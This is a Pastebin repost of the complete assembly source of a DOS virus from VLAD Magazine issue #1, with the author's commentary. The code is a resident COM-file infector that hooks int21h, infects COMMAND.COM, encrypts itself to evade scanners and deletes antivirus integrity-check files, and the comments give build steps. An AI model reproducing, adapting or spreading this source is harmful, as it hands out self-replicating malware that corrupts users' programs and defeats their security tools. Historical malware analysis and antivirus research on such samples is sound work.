Advertisement
FlyFar

VLAD Magazine - Issue #1 - ARTICLE.3_2 - Brother Virus Source Code

Jun 30th, 2023
1,688
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 34.93 KB | Cybersecurity | 0 0
  1. ;   �������������������������������������������������������������Ŀ          
  2. ;   �                  Brother Incest Virus                       �          
  3. ;   ���������������������������������������������������������������          
  4.                                                                              
  5.                                                                              
  6. ; This was my first TSR virus so blame it's lameness on that.  The only      
  7. ; reason I've included it is because I need to add one more family            
  8. ; member to round off the incest family.  (What a happy family they are :)    
  9.                                                                              
  10. ; I shake my head at some of the stuff in here.  It was only comparing        
  11. ; for lower case 'COM' extensions.  So it would only infect stuff from the    
  12. ; command line (the only real place where lower case extensions are used)    
  13. ; hehe that's terrible!  Imagine the chances of infecting in the wild ?!!    
  14.                                                                              
  15. ; Assemble with a86.  With modifications it will work with others.            
  16.                                                                              
  17. ; It infects COMMAND.COM, is resident, hooks int21h, COM infecting only.      
  18. ; Comes with self encryption/mutation.                                        
  19.                                                                              
  20. ; It is well hidden since I added the encryption, TBScan doesn't pick up      
  21. ; much... it depends on how well the encryption went... bits sometimes still  
  22. ; come through... F-Prot is good software tho... it actually uses your own    
  23. ; encryption routine to undo it..                                            
  24.                                                                              
  25. ; After assembly to create the final COM-file you must load it into debug    
  26. ; and run through the encryption routine then press 'w' to write it to file.  
  27.                                                                              
  28.                org     100h                                                  
  29.                                                                              
  30. m               proc    far                                                  
  31.                                                                              
  32. length  equ     600                                                          
  33.                                                                              
  34. start:                                                                        
  35.                db      0e9h                    ;fake jump...                  
  36.                dw      0                                                      
  37. begin:                                                                        
  38.                mov     si,101h                                                
  39.                mov     ax,word ptr [si]                                      
  40.                                                                              
  41.                mov     si,ax                   ;length of infectee - 3        
  42.                                                                              
  43.                call    decrypt                                                
  44.                                                                              
  45. ;Test for virus installation here!!!!                                        
  46.                                                                              
  47. enc_start:                                                                    
  48.                                                                              
  49.                xor     ax,ax                   ;Segment 0... where the        
  50.                mov     es,ax                   ;interrupt table lurks...      
  51.                                                                              
  52.                mov     ax,word ptr es:[132]           ;Put int21 in i21...    
  53.                mov     word ptr [si+offset i21],ax                            
  54.                mov     ax,word ptr es:[134]                                  
  55.                mov     word ptr [si+offset i21 +2],ax                        
  56.                                                                              
  57.                mov     ah,3dh                                                
  58.                mov     di,55ffh                                              
  59.                mov     dx,51ffh                                              
  60.                int     21h                                                    
  61.                cmp     di,0ff55h                                              
  62.                je      jend                    ;Already installed            
  63.                                                                              
  64.                mov     ah,61h                  ;Incest!                      
  65.                mov     di,'IN'                                                
  66.                int     21h                                                    
  67.                                                                              
  68.                cmp     di,'NI'                                                
  69.                jne     not_incest                                            
  70.                                                                              
  71.                mov     word ptr [si+offset int21_2],cx                        
  72.                mov     word ptr [si+offset int21_2+2],dx                      
  73.                                                                              
  74. not_incest:                                                                  
  75.                                                                              
  76.                push    cs                                                    
  77.                pop     es                                                    
  78.                                                                              
  79.                mov     ax,cs                                                  
  80.                dec     ax                                                    
  81.                mov     ds,ax                                                  
  82.                cmp     byte ptr ds:[0000],'Z'                                
  83.                jne     jend                                                  
  84.                mov     ax,ds:[0003]                                          
  85.                sub     ax,100                  ;Decrease memory allocation.  
  86.                mov     ds:[0003],ax                                          
  87.                                                                              
  88.                mov     bx,ax                                                  
  89.                mov     ax,es                                                  
  90.                add     ax,bx           ;Copy virus to                        
  91.                mov     es,ax           ;allocated portion of memory...        
  92.                mov     cx,600                                                
  93.                push    cs                                                    
  94.                pop     ds                                                    
  95.                push    si                                                    
  96.                add     si,offset begin                                        
  97.                mov     di,103h                                                
  98.                rep     movsb                                                  
  99.                                                                              
  100. ;Stolen code ends...                                                          
  101.                                                                              
  102.                pop     si                                                    
  103.                                                                              
  104.                mov     bx,es                                                  
  105.                                                                              
  106.                xor     ax,ax               ;es = segment of vector table      
  107.                mov     es,ax                                                  
  108.                                                                              
  109.                mov     ax,offset int21_handler ;change vector table to point  
  110.                mov     word ptr es:[132],ax    ;to our virus...              
  111.                mov     word ptr es:[134],bx                                  
  112.                                                                              
  113. jend:                                                                        
  114.                mov     ax,cs                                                  
  115.                mov     es,ax                                                  
  116.                mov     ds,ax                                                  
  117.                                                                              
  118.                                                                              
  119.                mov     [100h],byte ptr [si+offset old3]    ;Move original    
  120.                mov     [101h],byte ptr [si+offset old3+1]  ;three back        
  121.                                                            ;to 100h          
  122.                                                                              
  123.                ;There seems to be an error in a86.                            
  124.                ;Which means that when moving "byte ptr [],byte ptr []"        
  125.                ;it moves a word instead.                                      
  126.                ;Hence the above two lines are effective even though          
  127.                ;they look wrong.                                              
  128.                                                                              
  129.                                                                              
  130.                mov     bx,0100h                ;Jump back to user program    
  131.                jmp     bx                                                    
  132.                                                                              
  133. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;          
  134. int21_handler   proc    far                                                  
  135.                cmp     ah,4bh                                                
  136.                je      not_testing                                            
  137.                cmp     ah,43h                                                
  138.                je      not_testing                                            
  139.                cmp     ah,56h                                                
  140.                je      not_testing                                            
  141.                cmp     ax,6c00h                                              
  142.                je      not_testing                                            
  143.                                                                              
  144.                cmp     ah,3dh                                                
  145.                je      normal                                                
  146.                                                                              
  147.                cmp     ah,61h                                                
  148.                je      incest_chk                                            
  149. int_ret:                                                                      
  150.                jmp     dword ptr cs:[i21]                                    
  151. normal:                                                                      
  152.                cmp     di,55ffh            ;This is for testing residency.    
  153.                jne     not_testing                                            
  154.                cmp     dx,51ffh                                              
  155.                jne     not_testing                                            
  156.                                                                              
  157.                mov     di,0ff55h                                              
  158.                iret                                                          
  159. incest_chk:                                                                  
  160.                                                                              
  161.                cmp     di,'IN'                                                
  162.                jne     int_ret                                                
  163.                mov     di,'NI'                   ;Incest Marker...            
  164.                mov     cx,word ptr cs:[int21_2]                              
  165.                mov     dx,word ptr cs:[int21_2 + 2]                          
  166.                iret                              ;Pass original int21h out.  
  167.                                                                              
  168. not_testing:                                                                  
  169.                                                                              
  170. ;The working part of the virus goes in here...                                
  171.                                                                              
  172.                push    ax                                                    
  173.                push    bx                                                    
  174.                push    cx                                                    
  175.                push    dx                                                    
  176.                push    si                                                    
  177.                push    di                                                    
  178.                push    ds                                                    
  179.                push    es                                                    
  180.                                                                              
  181.                cmp     ax,6c00h                                              
  182.                jne     find_com                                              
  183.                mov     dx,si                                                  
  184. find_com:                                                                    
  185.                cld                                                            
  186.                push    ds                                                    
  187.                pop     es                                                    
  188.                xor     al,al                                                  
  189.                mov     cx,64   ;Scan 64 bytes.                                
  190.                mov     di,dx                                                  
  191.                repne   scasb   ;Find the zero at the end of the asciiz        
  192.                je      found   ;filename.                                    
  193.                                                                              
  194.                jmp     pop_outa_here                                          
  195. found:                                                                        
  196.                                                                              
  197.                dec     di              ;points to zero                        
  198.                                                                              
  199.                dec     di              ;should point to 'm'                  
  200.                cmp     byte ptr es:[di],'M'                                  
  201.                jne     pop_outa_here                                          
  202.                dec     di                                                    
  203.                cmp     byte ptr es:[di],'O'                                  
  204.                jne     pop_outa_here                                          
  205.                dec     di                    ;This finds the .com extension.  
  206.                cmp     byte ptr es:[di],'C'                                  
  207.                jne     pop_outa_here                                          
  208.                dec     di                                                    
  209.                cmp     byte ptr es:[di],'.'                                  
  210.                jne     pop_outa_here                                          
  211.                                                                              
  212. ;set int24h                                                                  
  213.                                                                              
  214.                xor     ax,ax                                                  
  215.                mov     es,ax                                                  
  216.                mov     ax,word ptr es:[144]                                  
  217.                mov     word ptr cs:[i24],ax                                  
  218.                                                                              
  219.                mov     ax,word ptr es:[146]                                  
  220.                mov     word ptr cs:[i24+2],ax                  ;Save int24h  
  221.                                                                              
  222.                mov     word ptr es:[144],offset int24h                        
  223.                                                                              
  224.                mov     es:[146],cs             ;Set int24h to a much cooler  
  225.                                                ;handler.                      
  226.                                                                              
  227.                mov     ax,3d02h                                              
  228.                call    int21h                                                
  229.                jc      longreturn                                            
  230.                                                                              
  231.                mov     bx,ax                   ;Save file handle              
  232.                                                                              
  233.                mov     ax,4301h                ;Remove write protection      
  234.                mov     cx,0100000b                                            
  235.                call    int21h                                                
  236.                jc      not_working_right                                      
  237.                                                                              
  238.                mov     ax,5700h                        ;File date & time      
  239.                call    int21h                                                
  240.                jc      not_working_right                                      
  241.                                                                              
  242.                push    cx                              ;Save file time        
  243.                push    dx                              ; and date            
  244.                                                                              
  245.                and     cl,00011111b                                          
  246.                cmp     cl,00011111b                    ;Check for 62secs      
  247.                                                        ;???11111 = 62 secs    
  248.                jne     infect                                                
  249.                                                                              
  250.        ;*** Already infected... close file and exit                          
  251.                                                                              
  252.                pop     dx                              ;Restore date & time  
  253.                pop     cx                                                    
  254.                                                                              
  255.                                                                              
  256. Not_working_right:                                                            
  257.                                                                              
  258.                mov     ah,3eh                                                
  259.                call    int21h                          ; Close file          
  260.                                                                              
  261. longreturn:                                                                  
  262.                ;reset int24h                                                  
  263.                                                                              
  264.                xor     ax,ax                                                  
  265.                mov     es,ax                                                  
  266.                mov     ax,word ptr cs:[i24]                                  
  267.                mov     es:[144],ax                                            
  268.                mov     ax,word ptr cs:[i24+2]                                
  269.                mov     es:[146],ax                                            
  270.                                                                              
  271. pop_outa_here:                                                                
  272.                                                                              
  273.                pop     es                                                    
  274.                pop     ds                                                    
  275.                pop     di                                                    
  276.                pop     si                                                    
  277.                pop     dx                                                    
  278.                pop     cx                                                    
  279.                pop     bx                                                    
  280.                pop     ax                                                    
  281.                                                                              
  282.                jmp     dword ptr cs:[i21]      ;Return to int 21h like        
  283.                                                ;normal.                      
  284.                                                                              
  285. ;Put all data in here...                                                      
  286.        jump    db      0e9h                                                  
  287.        jumpbit dw      0                                                      
  288.                                                                              
  289. old3    db      0cdh,20h,0                                                    
  290. cpav    db      "chklist.cps",0                                              
  291. mscpav  db      "chklist.ms",0                                                
  292.                                                                              
  293. infect:                                                                      
  294.                push    cs                                                    
  295.                pop     ds                                                    
  296.                                                                              
  297.                mov     ah,3fh                                                
  298.                mov     cx,3                            ;CX = no. to read      
  299.                mov     dx,offset old3                  ;Read into old3        
  300.                call    int21h                          ;Read 1st three bytes  
  301.                jc      quickexit                                              
  302.                                                                              
  303.                mov     al,02h                          ;Seek to end of file  
  304.                call    lseek                           ;End of file          
  305.                jc      quickexit                                              
  306.                                                                              
  307.                push    ax                              ;Save file length      
  308.                                                                              
  309.                inc     byte ptr enc_var                                      
  310.                                                                              
  311.                push    cs                                                    
  312.                pop     es                                                    
  313.                mov     di,859                                                
  314.                mov     si,offset begin                 ;Copy virus to        
  315.                mov     cx,600                          ;extra part of        
  316.                rep     movsb                           ;memory to encrypt.    
  317.                                                                              
  318.                call    encrypt_decrypt                                        
  319.                                                                              
  320.                mov     dx,859                          ;Address of virus      
  321.                mov     cx,length                       ;Length of virus      
  322.                mov     ah,40h                                                
  323.                call    int21h                          ;Write virus to file  
  324.                                                                              
  325.                call    encrypt_decrypt                                        
  326.                                                                              
  327.                xor     al,al                           ;Seek to start        
  328.                call    lseek                           ;Start of file        
  329.                                                                              
  330.                pop     ax                              ;Restore file length  
  331.                sub     ax,3                                                  
  332.                mov     cs:[jumpbit],ax                                        
  333.                                                                              
  334.                mov     dx,offset jump                  ;Address of start      
  335.                mov     ah,40h                                                
  336.                mov     cx,3                            ;Write three bytes    
  337.                call    int21h                          ;Write jump for        
  338.                                                        ;file newly infected.  
  339.                                                                              
  340. Quickexit:     ;Something went wrong...                                      
  341.                                                                              
  342.                mov     ax,5701h                        ;Restore old date      
  343.                                                                              
  344.                pop     dx                              ;Saved date            
  345.                pop     cx                                                    
  346.                                                                              
  347.                or      cx,001fh                        ;Set 62 secs mark      
  348.                call    int21h                          ;orig.time + 62 secs  
  349.                                                                              
  350.                mov     ah,3eh                          ;Close file            
  351.                call    int21h                                                
  352.                                                                              
  353. ;                mov     ax,0b800h                                            
  354. ;                mov     es,ax                 ;I use this bit to test its    
  355. ;                mov     al,35                 ;working... It is!!!          
  356. ;                mov     byte ptr es:[273],al                                
  357.                                                                              
  358.                mov     ah,41h                  ;Heh, kill CPAV's generic      
  359.                mov     dx,offset cpav          ;integrity checker... :)      
  360.                call    int21h                  ;Hehe... it'll redo the        
  361.                                                ;whole directory now!          
  362.                                                                              
  363.                mov     ah,41h                                                
  364.                mov     dx,offset mscpav        ;Kill the microsoft version.  
  365.                call    int21h                                                
  366.                                                                              
  367.                jmp     longreturn                                            
  368.                                                                              
  369.                                                                              
  370. int21_handler   endp                                                          
  371. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;          
  372. encrypt_decrypt proc    near                                                  
  373.                mov     cx,offset enc_end - offset enc_start                  
  374.                mov     si,869                                                
  375.                mov     al,byte ptr enc_var                                    
  376. enc_dec:                                                                      
  377.                xor     byte ptr [si],al                                      
  378.                inc     si                                                    
  379.                neg     al                                                    
  380.                not     al                                                    
  381.                loop    enc_dec                                                
  382.                                                                              
  383.                ret                                                            
  384. encrypt_decrypt endp                                                          
  385. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;          
  386.                                                                              
  387. Lseek   proc    near                                                          
  388.                mov     ah,42h                                                
  389.                xor     cx,cx                                                  
  390.                xor     dx,dx                                                  
  391.                call    int21h                                                
  392.                ret                                                            
  393. Lseek   endp                                                                  
  394. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;          
  395.                                                                              
  396. ;Put the interrupts in here...                                                
  397.                                                                              
  398. int24h  proc    near    ;Stops embarassing error messages on write protected  
  399.                        ;diskettes...                                          
  400.                                                                              
  401.                mov     al,3                                                  
  402.                iret                                                          
  403. int24h  endp                                                                  
  404.                i24     dd      0                                              
  405.                                                                              
  406. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;          
  407.                                                                              
  408.                                                                              
  409. ;Crappy Int21h... Not much use calling ourselves now is there ???            
  410. ;So use original interrupt...                                                
  411.                                                                              
  412. int21h  proc    near                                                          
  413.                pushf                                                          
  414.                db      9ah                                                    
  415.                int21_2 dd      0                                              
  416.                ret                                                            
  417. int21h  endp                                                                  
  418.                i21     dd      0                                              
  419.                                                                              
  420. enc_end:                                                                      
  421. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;          
  422. decrypt proc    near                                                          
  423.                push    si                                                    
  424.                push    cx                                                    
  425.                mov     cx,offset enc_end - offset enc_start                  
  426.                mov     al,byte ptr [si+enc_var]                              
  427.                add     si,offset enc_start                                    
  428. decryption:                                                                  
  429.                xor     byte ptr [si],al                                      
  430.                inc     si                                                    
  431.                neg     al                                                    
  432.                not     al                                                    
  433.                loop    decryption                                            
  434.                                                                              
  435.                pop     cx                                                    
  436.                pop     si                                                    
  437.                ret                                                            
  438. decrypt endp                                                                  
  439. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;          
  440.        enc_var db      0                                                      
  441. m               endp                                                          
  442.                                                                              
  443.                                                                              
  444.                end     start                                                  
  445.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement